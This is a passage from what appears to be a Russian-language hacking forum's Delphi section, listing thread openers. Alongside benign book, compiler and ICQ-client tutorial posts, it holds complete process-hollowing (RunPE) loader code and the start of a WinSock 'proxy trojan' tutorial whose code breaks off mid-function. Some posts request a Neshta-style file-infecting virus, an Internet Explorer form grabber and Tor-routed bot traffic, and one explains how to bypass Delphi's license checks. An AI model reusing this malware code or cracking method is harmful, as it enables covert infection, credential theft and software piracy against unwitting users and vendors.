Книги по Delphi
Author: Winux • 2005-08-20T20:16:59+0000 • Replies: 34 • Views: 37K
**Програмирование в Delphi глазами хакера**  
  
В книге вы найдете множество нестандартных приемов программирования на языке
Delphi, его недокументированные функции и возможности.  
Вы узнаете, как создавать маленькие шуточные программы. Большая часть книги
посвящена программированию сетей, приведено множество полезных примеров.  
Для понимания изложенного не нужно глубоких знаний, даже начальных сведений о
языке Delphi хватит для работы над каждой темой. Если вы ни разу не
программировали, то на прилагаемом к книге компакт-диске в каталоге vr-online
вы найдете полную копию сайта автора и -элек-тронную версию его книги "Библия
Delphi". Это поможет вам научится программировать без каких-либо начальных
знаний. Прочитав книгу и до-полнительную информацию, предоставленную на
компакт-диске, вы може-те пройти путь от начинающего программиста до
продвинутого пользовате-ля и познать хитрости хакеров и профессиональных
программистов.  
У меня книга есть в бумажном варианте, очень рекомендую))  
  

[Скачать|Download](http://dlfiles.org/books/delphi/delph_glaz_hack.rar)  
[mod][Winux:] Ссылка обновлена 4.09.08[/mod]
Исходники
Author: Amper • 2006-08-21T03:54:43+0000 • Replies: 10 • Views: 15K
**Сабж.  
Никакого флуда, обсуждаем исходники в теме "Обсуждения".**
Скрытие потоков
Author: greenzy • 2010-12-04T18:53:56+0000 • Replies: 19 • Views: 15K
День добрый форумчане! В Сети нашел код и немного видоизменив, получилось
нечто похожее на анти дебаг. Вообщем основная фишка - невозможность показа
потоков, строк, путей в запущенном файле. Отладчики на базе ollydbg не видят
процесс в списке для аттача. Тестировалось на Win XP SP3. Прошу потестить на
других платформах. [Скачать](http://zalil.ru/30078378)  
upd. <http://sendfile.su/224124>
Обзор компонентов
Author: Amper • 2006-08-21T03:48:56+0000 • Replies: 16 • Views: 14K
**Здесь выкладываем компоненты по следующей схеме:  
  
1) Название компонента  
2) Подробное описание (чем подробней тем лучше)  
3) Ссылка  
  
Никакого флуда и никакого обсуждения компонентов, обсуждаем теме "Обсуждения"  
О битых ссылках сообщать в личку.**
FAQ по Delphi
Author: Amper • 2006-09-09T02:51:58+0000 • Replies: 11 • Views: 13K
**Сабж.  
Без оффтопа.**
Компиляторы, отладчики...
Author: Noctambulaar • 2008-09-17T12:56:58+0000 • Replies: 1 • Views: 12K
**Delphi Compile and dcu file (console)**  
> Parent Directory -  
>  ActiveX.dcu 15-Aug-2002 15:08 151K  
>  ActnList.dcu 15-Aug-2002 15:08 24K  
>  Classes.dcu 15-Aug-2002 15:08 190K  
>  Clipbrd.dcu 15-Aug-2002 15:08 8.9K  
>  CommCtrl.dcu 15-Aug-2002 15:08 128K  
>  CommDlg.dcu 15-Aug-2002 15:08 19K  
>  Consts.dcu 15-Aug-2002 15:08 20K  
>  Contnrs.dcu 15-Aug-2002 15:08 17K  
>  Controls.dcu 15-Aug-2002 15:08 199K  
>  DCC32.EXE 15-Aug-2002 15:08 689K  
>  Dialogs.dcu 15-Aug-2002 15:08 54K  
>  Dlgs.dcu 15-Aug-2002 15:08 4.7K  
>  ExtCtrls.dcu 15-Aug-2002 15:08 127K  
>  FlatSB.dcu 15-Aug-2002 15:08 2.8K  
>  Forms.dcu 15-Aug-2002 15:08 165K  
>  Graphics.dcu 15-Aug-2002 15:08 115K  
>  HelpIntfs.dcu 15-Aug-2002 15:08 13K  
>  ImgList.dcu 15-Aug-2002 15:08 26K  
>  Imm.dcu 15-Aug-2002 15:08 19K  
>  Math.dcu 15-Aug-2002 15:08 25K  
>  Menus.dcu 15-Aug-2002 15:08 67K  
>  Messages.dcu 15-Aug-2002 15:08 28K  
>  MultiMon.dcu 15-Aug-2002 15:08 7.1K  
>  Printers.dcu 15-Aug-2002 15:08 16K  
>  RTLConsts.dcu 15-Aug-2002 15:08 10K  
>  RegStr.dcu 15-Aug-2002 15:08 47K  
>  ShellAPI.dcu 15-Aug-2002 15:08 13K  
>  ShlObj.dcu 15-Aug-2002 15:08 53K  
>  StdActns.dcu 15-Aug-2002 15:08 40K  
>  StdCtrls.dcu 15-Aug-2002 15:08 146K  
>  StrUtils.dcu 15-Aug-2002 15:08 8.1K  
>  SysConst.dcu 15-Aug-2002 15:08 11K  
>  SysInit.dcu 15-Aug-2002 15:08 3.5K  
>  SysUtils.dcu 15-Aug-2002 15:08 114K  
>  System.dcu 15-Aug-2002 15:08 101K  
>  TypInfo.dcu 15-Aug-2002 15:08 25K  
>  Types.dcu 15-Aug-2002 15:08 3.8K  
>  UrlMon.dcu 15-Aug-2002 15:08 43K  
>  VarUtils.dcu 15-Aug-2002 15:08 3.9K  
>  Variants.dcu 15-Aug-2002 15:08 48K  
>  WinHelpViewer.dcu 15-Aug-2002 15:08 8.9K  
>  WinInet.dcu 15-Aug-2002 15:08 64K  
>  WinSpool.dcu 15-Aug-2002 15:08 45K  
>  Windows.dcu 15-Aug-2002 15:08 601K  
>  brcc32.exe 15-Aug-2002 15:08 165K  
>  controls.res 15-Aug-2002 15:08 2.7K
>
> Click to expand...
  
 Консольный
компилятор [Скачать](http://fool.homelinux.org/delphi/PatchEngine/compile/)  
  
**Dev-Pascal**  
Как видно из названия ,среда для паскаля.Совместима c компиляторами Free-
Pascal  
или GNU Pascal  
Что в нем есть:  
-Отладчик  
-Редактор  
-Создание setup-wizard'oв  
-Эдитор ресурсов  
-Навигация по файлам  
[офф сайт](http://www.bloodshed.net/devpascal.html)  

[Скачать](http://www.bloodshed.net/dev/devpas192.exe)  
  
**Компилятор TMT Pascal Lite v.3.90**  
  
> Lekka (darmowa) wersja dobrego 32 bitowego kompilatora (kompilator + IDE).
> Program dla windows 95/98/ME/Xp. Umożliwia tworzenie programów dla DOS-a
> (real mode, protect mode), windows, OS2.  
>  
>  Największą zaletą programu, oprócz graficznego edytora kodu, jest możliwość
> przekompilowania programów pisanych dla TurboPascala, a jednocześnie
> programista nie jest ograniczony do przestrzeni jednego bloku pamięci (64
> Kb) w strukturze danych.  
>  
>  Wraz z kompilatorem dostarczone są przykładowe programy. TMT umożliwia tez
> tworzenie aplikacji wykorzystujących OpenGL i DirectX oraz LFB dla Vesy 2
> lub nowszej.  
>  
>  Jeżeli potrzebujesz czegoś więcej, niż TurboPascal, a nie potrzebujesz
> Delphi, to ten program jest dla ciebie. Przyda się też każdemu kto zna już
> pascala.
>
> Click to expand...

[Скачать](http://pascal.sources.ru/tmt/pub/tmtp390d.zip)  
  
**Дельфи, среда разработки**  
> Скачать Delphi 1 (20Mb)  
>  Скачать Delphi 2 (34Mb)  
>  Скачать Delphi 3 (56Mb)  
>  Скачать Delphi 4 (53Mb)  
>  Скачать Delphi 5 (70Mb)  
>  Скачать Delphi 6 (83Mb)  
>  Скачать Delphi 7 (94Mb)  
>  Скачать Delphi 2008 - нереально - его не существует в природе. И никогда не
> будет.  
>  Скачать Delphi 2009 в виде инсталлятора или Delphi 2009 + C++ Builder 2009
> iso. Внимание! Это ссылки на загрузку триальной версии с офф сервера.
> (требуется бесплатная регистрация для получения триального ключа).
> Устанавливаете обычный триал. Затем качаете програмку Delphi Distiller
> последней версии. (зеркало на случай ядерной войны). Это универсальное
> лекарство для всех версий Delphi, начиная с 5-й. Запускаете, выбираете
> версию, выбираете закладочку Tweaks. Далее нажимаете секретную комбинацию:
> Ctrl + Alt + L. Появится галочка для отключения проверки лицензии, а также
> кнопочка для сброса триального срока. Выбирайте, что вам больше по вкусу ;-)  
>  Укороченные версии, в которой выброшено всё ненужное, по мнению авторов
> этих версий.  
>  Скачать Delphi 7 Second Edition (42Mb)  
>  Delphi 2007 Lite (91Mb)  
>  Delphi 10 Lite (63Mb)
>
> Click to expand...
  

[Скачать](http://www.delphilab.ru/content/view/87/75/)
Полезные советы
Author: Amper • 2006-08-29T15:48:04+0000 • Replies: 6 • Views: 12K
**Здесь выкладываем полезные советы по работе в Делфи, а также небольшие
полезные исходники, которые могут часто пригодиться...**
Lazarus, hide menu toolkit and forms
Author: Dark Koder • 2019-01-16T17:08:38+0000 • Replies: 5 • Views: 12K
Всем привет.  
  
сабж - при кодинге в лазарусе под линухом - при переходе в редактор кода (или
просто переключение активного окна на любое другое), то пропадает панелька
меню и панель формы.  
  
в делфе такого не было (пропадала из видимости только форма, и то, если выйти
с редактора кода - она снова видима).  
тут же - вообще бляха муха все хайдиться, и каждый бл#ть, раз надо все
восстанавливать =(  
  
как это пофиксить?  
  
поисковик внятного ответа не дал.  
  
P.S: в консоли кодить или виме не буду - делаю граф. приложуху.  
P.P.S: QT тоже не предлагать - этот ужос в принципе не возьму, с меня хватило
в 2012-м его...
Профи сюда
Author: Bendar • 2006-08-27T12:04:07+0000 • Replies: 44 • Views: 12K
народ вобщем хочу написать вирь на делфе кто знает как релизовать одну функцию
виря кароче мне нужно чтобы он работал как Neshta беларуский вирус вобщем надо
чтобы этот вирь заражал exe файлы как выше упомянутый вирь и ваще возможноли
это на делфе народ памагите срочно нужно. :bang:
Turbo Pascal
Author: Elektrik • 2006-02-05T20:45:13+0000 • Replies: 39 • Views: 11K
Товарисчи кто знает что с ним можно сделать чтоб под виндой ХР он нормально
работал и отображал русские шрифты.
Запуск EXE из памяти
Author: chromium • 2018-10-09T02:00:56+0000 • Replies: 11 • Views: 10K
Нашел такой код. На ХР работает, на 7х64 показывает, что "калькулятор должен
запускаться на ХР и выше". Что с кодом не так?  
  
Code:Copy to clipboard
    
    
    program MyProgram;
     
    {$APPTYPE CONSOLE}
     
    uses
      Windows, SysUtils;
     
    type
     
      PVOID      = Pointer;
      NTSTATUS   = LongInt;
     
      THandle = LongWord;
     
      PImageSectionHeaders = ^TImageSectionHeaders;
     
      TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
     
    function ZwUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: PVoid): NtStatus; stdcall;
    external 'ntdll.dll' name 'ZwUnmapViewOfSection';
     
    Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
    Begin
      Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
                                     NTHeader.FileHeader.SizeOfOptionalHeader);
    End;
     
    Function Protect(Characteristics: ULONG): ULONG;
    Const
      Mapping       :Array[0..7] Of ULONG = (
                     PAGE_NOACCESS,
                     PAGE_EXECUTE,
                     PAGE_READONLY,
                     PAGE_EXECUTE_READ,
                     PAGE_READWRITE,
                     PAGE_EXECUTE_READWRITE,
                     PAGE_READWRITE,
                     PAGE_EXECUTE_READWRITE  );
    Begin
      Result := Mapping[ Characteristics SHR 29 ];
    End;
     
    procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
    Var
      BaseAddress           :Pointer;
      I                     :ULONG;
      Success               :Boolean;
      NTHeaders             :PImageNTHeaders;
      Sections              :PImageSectionHeaders;
      StartupInfo           :TStartupInfo;
      OldProtect            :ULONG;
      BytesRead             :DWORD;
      ProcessInfo           :TProcessInformation;
      BytesWritten          :DWORD;
      Context               :TContext;
    Begin
      FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
      FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
     
      StartupInfo.cb := SizeOf(TStartupInfo);
      StartupInfo.wShowWindow := Word(false);
     
      If (CreateProcess(ProcessName, Parameters, NIL, NIL,
                        False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
     
      Begin
        Success := True;
     
        Try
          Context.ContextFlags := CONTEXT_INTEGER;
          If (GetThreadContext(ProcessInfo.hThread, Context) And
             (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                                @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
             (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
             (Assigned(Buffer))) Then
             Begin
               NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
               BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                              Pointer(NTHeaders.OptionalHeader.ImageBase),
                                              NTHeaders.OptionalHeader.SizeOfImage,
                                              MEM_RESERVE or MEM_COMMIT,
                                              PAGE_READWRITE);
               If (Assigned(BaseAddress)) And
                  (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                      NTHeaders.OptionalHeader.SizeOfHeaders,
                                      BytesWritten)) Then
                  Begin
                    Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                    For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                      If (WriteProcessMemory(ProcessInfo.hProcess,
                                             Pointer(Cardinal(BaseAddress) +
                                                     Sections[i].VirtualAddress),
                                             Pointer(Cardinal(Buffer) +
                                                     Sections[i].PointerToRawData),
                                             Sections[i].SizeOfRawData, BytesWritten)) Then
                         VirtualProtectEx(ProcessInfo.hProcess,
                                          Pointer(Cardinal(BaseAddress) +
                                                  Sections[i].VirtualAddress),
                                          Sections[i].Misc.VirtualSize,
                                          Protect(Sections[i].Characteristics),
                                          OldProtect);
     
                    If (WriteProcessMemory(ProcessInfo.hProcess,
                                           Pointer(Context.Ebx + 8), @BaseAddress,
                                           SizeOf(BaseAddress), BytesWritten)) Then
                       Begin
                         Context.Eax := ULONG(BaseAddress) +
                                        NTHeaders.OptionalHeader.AddressOfEntryPoint;
                         Success := SetThreadContext(ProcessInfo.hThread, Context);
                       End;
                  End;
             End;
        Finally
          If (Not Success) Then
            TerminateProcess(ProcessInfo.hProcess, 0)
          Else
            ResumeThread(ProcessInfo.hThread);
        End;
      End;
    End;
     
    var
    A: Array of Byte;
    F: THandle;
    lpSize: Cardinal;
    begin
    F:=CreateFile(PChar('calc.exe'), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_ALWAYS, 0, 0);
    SetLength(A, GetFileSize(F, nil));
    ReadFile(F, A[0], Length(A), lpSize, nil);
    CloseHandle(F);
     
    MemoryExecute(@A[0], PChar('calc.exe'), '"%1" %*');
     
    ReadLn;
    end.
"формграббер"
Author: kalibr98 • 2010-12-02T17:45:22+0000 • Replies: 31 • Views: 10K
Решил написать новый перехватчик POST и GET данных интернет експлорера,(старый
отказывается работать с версиями выше 6) но ,перепарсив гугл,отчаялся,хз с
чего начать. Подскажите,может у кого какие
идеи,наработки,отпишитесь,пожалуйста.  
  
Теперь если коротко-програмка после запуска перехватывает POST и GET данные
Internet Explorer и сохраняет в файлик (например С:\лог.тхт)  
  
  
З.Ы. если у Вас имеются наработки по данному вопросу а здесь писать не охота-
велкам в ПМ\асю 648293679,можем обменяться на чтони-будь,(ну или выкуплю у Вас
вышеописанное творение.)  
  
Очень жду ответа!
TOR или I2P библиотека для разработчика
Author: rekes • 2019-03-30T20:11:53+0000 • Replies: 18 • Views: 9K
Зверь отправляет POST/GET запрос на TOR/I2P сервер.Сервер присылает ответ
зверю.Есть готовые решения ( лучше на Delphi )?
Создаём самый простой ICQ клиент на Delphi
Author: ..::TROYAN::.. • 2008-10-20T20:42:44+0000 • Replies: 18 • Views: 9K
Привет!В этой теме ты поймёш как можно создать самый простой icq клиент на
delphi с помощью компонента TICQClient.  
В этой теме я буду постить уроки.  
Начнём...  
  
[**Урок 1**]  
Для начало нужно скачать и установить необходимые нам для работы компоненты:  
~ TICQClient версия 1.34 - самый последний компонент на сегодняшний день(после
обновления протокола компоненты ниже версии не хотели просто подключатся...)  
Скачать его можно здесь - <http://webfile.ru/2303891>  
~ Компонент для украшения программы - <http://webfile.ru/2303919>  
Теперь нужно эти компоненты установить.  
Неумееш устанавливать?Тогда [www.google.com](http://www.google.com) тебе в
помощь!  
Здесь небуду описывать как устанавливать компоненты,тк эта статья не по
установке компонентов а по созданию своего клиента!  
После установки компонентнов кинь на форму два TEdit,один TCheckBox,одну
TButton,и один TICQClient.  
Расположи их так на форме как тебе удобно=)  
Edit1 - Будет служить для ввода UIN'a.  
Edit2 - Будет служить для ввода пароля.  
CheckBox1 - это для того что бы убрать звёздочки там где будет пароль.  
ICQClient1 - это самое нужное,тк без него мы несможем ни принять,ни отправить
сообщения!  
В событии OnLogin пропиши:  
Code:Copy to clipboard
    
    
    Form2.Show;
    Form1.Hide;
Это если клиент законнектится на сервак без проблем,то первое окно скроется,и
откроется окно где будут видны контакты.  
Для принятия сообщений по событию OnMessageRecv пиши:  
Code:Copy to clipboard
    
    
    var
     i: integer;
    begin
     Form3.Memo1.Lines.Add('('+DateToStr(NOW)+')'+' '+'от юина - '+UIN);
     Form3.Memo1.Lines.Add('');
     Form3.Memo1.Lines.Add(Msg);
     Form3.Memo1.Lines.Add('');
Пока нечего некомпилируй тк еще клиент неготов,нужно еще добавить окно для
обмена сообщениями и т.д...  
  
По событию кнопки OnClick пиши:  
Code:Copy to clipboard
    
    
    ICQClient1.UIN:=StrToInt(Edit1.Text);
    ICQClient1.Password:=Edit2.Text;
    ICQClient1.Login();
Это для подключения к серверу.  
По событию CheckBox1 OnClick пиши:  
Code:Copy to clipboard
    
    
    if CheckBox1.State = cbChecked
      then
       begin
        Edit2.PasswordChar:=#0;
     end;
    if CheckBox1.State = cbunChecked
      then
       begin
        Edit2.PasswordChar:='*';
       end;
Это для отображения пароля который скрыт под звёздачками...  
Поздравляю!Окно для входа готово!  
Теперь зайти в File=>New=>Form.  
Так мы создадим форму для второго окна.  
Кинь на вторую форму такие обьекты как:  
TListBox,и два TButton.  
По событию OnClick в Button1 пиши:  
Code:Copy to clipboard
    
    
    ExitProcess(0);
Это для закрытия клиента.Если закрыть просто форму нажав на крестик вверху то
закроется просто форма а клиент будет в памяти.  
Теперь клоцни по форме два раза и напиши это:  
Code:Copy to clipboard
    
    
    ListBox1.Items.LoadFromFile('p.inf');
И обязательно создай файло с именем p и разшерением .inf то при запуске
клиента может выскачить матюк типо нет такого файла.И помести этот файл в
папку вместе с прогой!!!)))  
Теперь в ListBox1 по событию OnDblClick пиши:  
Code:Copy to clipboard
    
    
    Form3.Show;
    Form3.mss.Caption:=Form2.ListBox1.Items.Strings[ListBox1.ItemIndex];
Это для открытия окна где можно переписываццо!  
Теперь по событию OnClick второй кнопочГи пишем:  
Code:Copy to clipboard
    
    
    Form4.Show;
Откроется окно для добавления нового контакта.  
Теперь переходим к 3й форме...  
Заходи опять в File=>New=>Form...  
ну и должно создатся 3е окно в котором мы будем весть переписку=)  
Кинь на форму TAdvPage(у меня в исходнике ево имя - mss),и два TMemo.  
В public добавь:
Code:Copy to clipboard
    
    
    Sen;
потом под словом {$R *.dfm} пиши:
Code:Copy to clipboard
    
    
    procedure TForm3.Send;
    begin
     Form1.ICQ.SendMessage(StrToInt(MSS.Caption),MEmo2.Text);
     Memo1.Lines.Add('>>'+'('+TimeToStr(Now)+')'+MEmo2.Text);
     MEmo2.Clear;
    
    end;
Это процедура для отправки сообщения=)  
Кликни теперь по форме и напиши это:  
Code:Copy to clipboard
    
    
    Form3.Caption:='['+MSS.Caption+']'+' - Сообщения';
Кликни по второй кнопке и напиши слудущее:
Code:Copy to clipboard
    
    
    Form3.Close;
Это для закрытия окна=)  
Теперь в Memo1 в собитии OnKeyPress пиши:  
Code:Copy to clipboard
    
    
    if key = #13 then
    send;
Теперь сообщения будут отправлятся по нажатию кнопки ентер=)  
эх...)  
ну теперь осталось последее...))  
Создай еще одну форму и кинь туда TEdit и TButton.  
Кликни по кнопке два раза и впиши=) :
PHP:Copy to clipboard
    
    
    Form2.ListBox1.Items.Add(Form4.Edit1.Text);
    Form2.ListBox1.Items.SaveToFile('p.inf');
    MessageBox(0,'Контакт добавлен','Ок...',0);
    Form4.Close;[/code]
    :eek::eek::eek:
    Всё!)))Мучения закончились,теперь можеш скомпилирывать,запустить и радыватся=)
    гыыы
    -------------------------------------------------------------------------
    Скачать исходные коды клиента можно здесь - [url=http://webfile.ru/2304075]http://webfile.ru/2304075[/url]
    -------------------------------------------------------------------------
    Если возникли какието вопросы , то задаём их здесь=)
    В дальнейшем буду выкладывать новые уроки здесь,т.к в этом уроке самое основное(залогинится,отправить,принять сообщение),а это для полноценного клиента мало!
    Всё!Пока=)
    © TROYAN
Чуваки помогите плз.
Author: Trinux • 2009-03-19T11:28:26+0000 • Replies: 20 • Views: 9K
В технаре практические по Паскалю, а я вот 2 задачи чёт ваще рорубить немогу.  
  
1\. Написать программу, вычисляющую целую отрицательную степень числа.  
  
2\. Натуральное число, в записи которого N цифр, называется числом Армстронга.
Если сумма его цифр возведённая в степень N, равна самому числу. Найти все
такие числа от 1 до K.
конвертация istream
Author: AngelFromNSK • 2020-08-18T11:46:17+0000 • Replies: 5 • Views: 8K
Как конвертировать istream в string?
Ищу исходник. По созданию builder'a
Author: c0d3r_0f_shr0d13ng3r • 2019-02-04T12:44:13+0000 • Replies: 11 • Views: 8K
Здравствуйте! Ищу исходники и мануалы  
по созданию builder'a к своей программе.  
  
p.s. желательно исходники на delphi и c++  
если у кого есть, поделитесь.  
  
Спасибо!
Хук блокировка клавиатуры на Delphi
Author: soldxqe • 2020-03-07T13:46:37+0000 • Replies: 5 • Views: 8K
Завалялось - может быть кому -то пригодиться.  
  
Code:Copy to clipboard
    
    
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, jpeg, ExtCtrls;
    
     const
    
        WH_KEYBOARD_LL = 13;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Button2: TButton;
        Label1: TLabel;
        Label2: TLabel;
        Edit1: TEdit;
        Button7: TButton;
        Button8: TButton;
        Button11: TButton;
        Button3: TButton;
        Button4: TButton;
        Button5: TButton;
        Button6: TButton;
        Button9: TButton;
        Button10: TButton;
        Button12: TButton;
        Button13: TButton;
        Button14: TButton;
        Button15: TButton;
        Image1: TImage;
        Label3: TLabel;
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure Button5Click(Sender: TObject);
        procedure Button6Click(Sender: TObject);
        procedure Button9Click(Sender: TObject);
        procedure Button10Click(Sender: TObject);
        procedure Button12Click(Sender: TObject);
        procedure Button13Click(Sender: TObject);
        procedure Button14Click(Sender: TObject);
        procedure Button15Click(Sender: TObject);
        procedure Edit1Change(Sender: TObject);
        procedure Edit1KeyPress(Sender: TObject; var Key: Char);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
         HookHandle: HHOOK = 0;
    
    implementation
    
    {$R *.dfm}
    
     // Процедура обработчик хука
    function KeyboardHookHandler(Code, WParam, LParam: DWORD): DWORD; stdcall;
    begin
     
      Result := 1;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
     if HookHandle = 0 then
        HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, @KeyboardHookHandler, hInstance, 0);
      showmessage('Клавиатура Заблокирована!!!');
    
    end;
    
    procedure TForm1.Button2Click(Sender: TObject);
    
    begin
    
    if edit1.text = '2012' then
    
    begin
      if  HookHandle <>0  then
        UnhookWindowsHookEx(HookHandle);
      HookHandle:=0;
    showmessage('Клавиатура Разблокирована!!!');
    edit1.clear;
       end
    
    
       else
       begin
     if Edit1.Text <> '2012' then
     showmessage('Код Неверный!!!');
     edit1.Clear;
    
    
    
    end;
    end;
    
    procedure TForm1.Button3Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'1';
    end;
    
    
    procedure TForm1.Button4Click(Sender: TObject);
    begin
       edit1.text:=edit1.text+'2';
    end;
    
    procedure TForm1.Button5Click(Sender: TObject);
    begin
       edit1.text:=edit1.text+'3';
    end;
    
    procedure TForm1.Button6Click(Sender: TObject);
    begin
       edit1.text:=edit1.text+'4';
    end;
    
    procedure TForm1.Button9Click(Sender: TObject);
    begin
        edit1.text:=edit1.text+'5';
    end;
    
    procedure TForm1.Button10Click(Sender: TObject);
    begin
       edit1.text:=edit1.text+'6';
    end;
    
    procedure TForm1.Button12Click(Sender: TObject);
    begin
        edit1.text:=edit1.text+'7';
    end;
    
    procedure TForm1.Button13Click(Sender: TObject);
    begin
       edit1.text:=edit1.text+'8';
    end;
    
    procedure TForm1.Button14Click(Sender: TObject);
    begin
      edit1.text:=edit1.text+'9';
    end;
    
    procedure TForm1.Button15Click(Sender: TObject);
    begin
      edit1.text:=edit1.text+'0';
    end;
    
    procedure TForm1.Edit1Change(Sender: TObject);
      var pass:string;
    begin
    pass:='2012';
    end;
    
    procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
    begin
       if not (key in['0'..'9', #8]) then
     key:=#0
    end;
    
    end.
Подключением к bit доменам Namecoin
Author: rekes • 2019-03-30T20:33:04+0000 • Replies: 12 • Views: 8K
Как передавать POST/GET зверю и серверу?
Пишем proxy троян на Delphi
Author: ..::TROYAN::.. • 2008-10-20T20:41:37+0000 • Replies: 6 • Views: 8K
Привет.В этой статье я расскажу как написать своего прокси троя на Delphi.Так
как на Indy его очень легко написать , но он будет весить очень много,поэтому
будет писать используя WinSock.  
Сначала откроем блокнот и скопируем туда этот код:  
  
Code:Copy to clipboard
    
    
    Unit uProxy;
     
    interface
     
     uses Windows,WinSock,Classes,SysUtils;
     
    type TCompletionPort=class
      public
        FHandle:THandle;
        constructor Create(dwNumberOfConcurentThreads:DWORD);
        destructor Destroy;override;
        function AssociateDevice(hDevice:THandle;dwCompKey:DWORD):boolean;
      end;
     
    TAcceptThread=class(TThread)
      private
        FListenSocket:TSocket;
        FListenPort:Word;
        FClientList:TList;
        procedure GarbageCollect;
      protected
        procedure Execute;override;
      public
        constructor Create(AListenPort:Word);reintroduce;
        destructor Destroy;override;
      end;
     
    type
     TClientThread=class(TThread)
      public
        procedure Execute;override;
      end;
     
    type TClient=class
      private
        FSocket:TSocket;
        FEvent:THandle;
        ov:POVERLAPPED;
        Buffer:Pointer;
        BufSize:Cardinal;
        procedure Write(Buf:Pointer;Size:Cardinal);
      public
        FOppositeClient:TClient;
        FLastActivity:double;
        constructor Create;
        destructor Destroy;override;
        procedure Connect(ARequest:string);
        procedure Disconnect;
        procedure Complete(dwNumBytes:Cardinal);virtual;abstract;
      end;
     
      TInternalClient=class(TClient)
      public
        procedure Complete(dwNumBytes:Cardinal);override;
      end;
     
      TExternalClient=class(TClient)
      public
        procedure Complete(dwNumBytes:Cardinal);override;
      end;
     
      var
      FCompPort:TCompletionPort;
     
     
    implementation
     
    constructor TCompletionPort.Create(dwNumberOfConcurentThreads: DWORD);
    begin
      FHandle:=CreateIoCompletionPort(INVALID_HANDLE_VALUE,0,0,dwNumberOfConcurentThreads);
    end;
     
    function TCompletionPort.AssociateDevice(hDevice: THandle;
      dwCompKey: DWORD): boolean;
    begin
      result:=CreateIoCompletionPort(hDevice,FHandle,dwCompKey,0)=FHandle;
    end;
     
    destructor TCompletionPort.Destroy;
    begin
      CloseHandle(FHandle);
      inherited;
    end;
     
    constructor TAcceptThread.Create(AListenPort: Word);
    begin
      inherited Create(false);
      FListenPort:=AListenPort;
      FClientList:=TList.Create;
    end;
     
    destructor TAcceptThread.Destroy;
    begin
      FClientList.Free;
      inherited;
    end;
     
    procedure TAcceptThread.GarbageCollect;
    var
      AClient:TClient;
      i:integer;
    begin
      for i:=0 to FClientList.Count-1 do begin
        AClient:=TClient(FClientList[i]);
        if Assigned(AClient) then
          if (AClient.FSocket=INVALID_SOCKET) and ((now-AClient.FLastActivity)>7E-4) then
        begin
          FClientList[i]:=nil;
          if Assigned(AClient.FOppositeClient) then AClient.FOppositeClient.Free;
          AClient.Free;
        end;
      end;
      FClientList.Pack;
      FClientList.Capacity:=FClientList.Count;
    end;
     
    procedure TAcceptThread.Execute;
    var
      FAddr: TSockAddrIn;
      Len: Integer;
      ClientSocket:TSocket;
      InternalClient:TClient;
    begin
      FListenSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      FAddr.sin_family := PF_INET;
      FAddr.sin_addr.s_addr := INADDR_ANY;
      FAddr.sin_port := htons(FListenPort);
      bind(FListenSocket, FAddr, SizeOf(FAddr));
      listen(FListenSocket, SOMAXCONN);
      try
      while not Terminated do begin
      Len:=sizeof(FAddr);
      ClientSocket:=accept(FListenSocket, @FAddr, @Len);
      try
      GarbageCollect;
      if ClientSocket<>INVALID_SOCKET then begin
      InternalClient:=TInternalClient.Create;
      InternalClient.FSocket:=ClientSocket;
      FClientList.Add(InternalClient);
      FCompPort.AssociateDevice(InternalClient.FSocket,Cardinal(InternalClient));
      InternalClient.Complete(0);
      end;
      except
      end;
      end;
      finally
      shutdown(FListenSocket,2);
      closesocket(FListenSocket);
      end;
    end;
     
    procedure TClientThread.Execute;
    var
      CompKey,dwNumBytes:Cardinal;
      ov:POVERLAPPED;
    begin
      try
       while not Terminated do begin
       if GetQueuedCompletionStatus(FCompPort.FHandle,dwNumBytes,CompKey,ov,INFINITE) and (dwNumBytes>0) then
       begin
       if TClient(CompKey).FSocket<>INVALID_SOCKET then begin
       TClient(CompKey).Complete(dwNumBytes);
       TClient(CompKey).FLastActivity:=now;
       end;
       end else
       TClient(CompKey).Disconnect;
      end;
      except
      TClientThread.Create(false);
     end;
    end;
     
    constructor TClient.Create;
    begin
      FSocket:=INVALID_SOCKET;
      BufSize:=8192;
      GetMem(Buffer,BufSize);
      new(ov);
      ov.Internal:=0;
      ov.InternalHigh:=0;
      ov.Offset:=0;
      ov.OffsetHigh:=0;
      ov.hEvent:=0;
      FEvent:=CreateEvent(nil,true,false,nil);
      FLastActivity:=now;
    end;
     
    destructor TClient.Destroy;
    begin
      Disconnect;
      CloseHandle(FEvent);
      FreeMem(Buffer);
      Dispose(ov);
      inherited;
    end;
     
    procedure TClient.Connect(ARequest: string);
    var
      f,t:integer;
      ARemoteAddress:string;
      ARemotePort:string;
      he:PHostEnt;
      FAddr:TSockAddrIn;
    begin
      f:=Pos('/',ARequest)+2;
      t:=Pos('HTTP',ARequest)-1;
      ARemoteAddress:=Copy(ARequest,f,t-f);
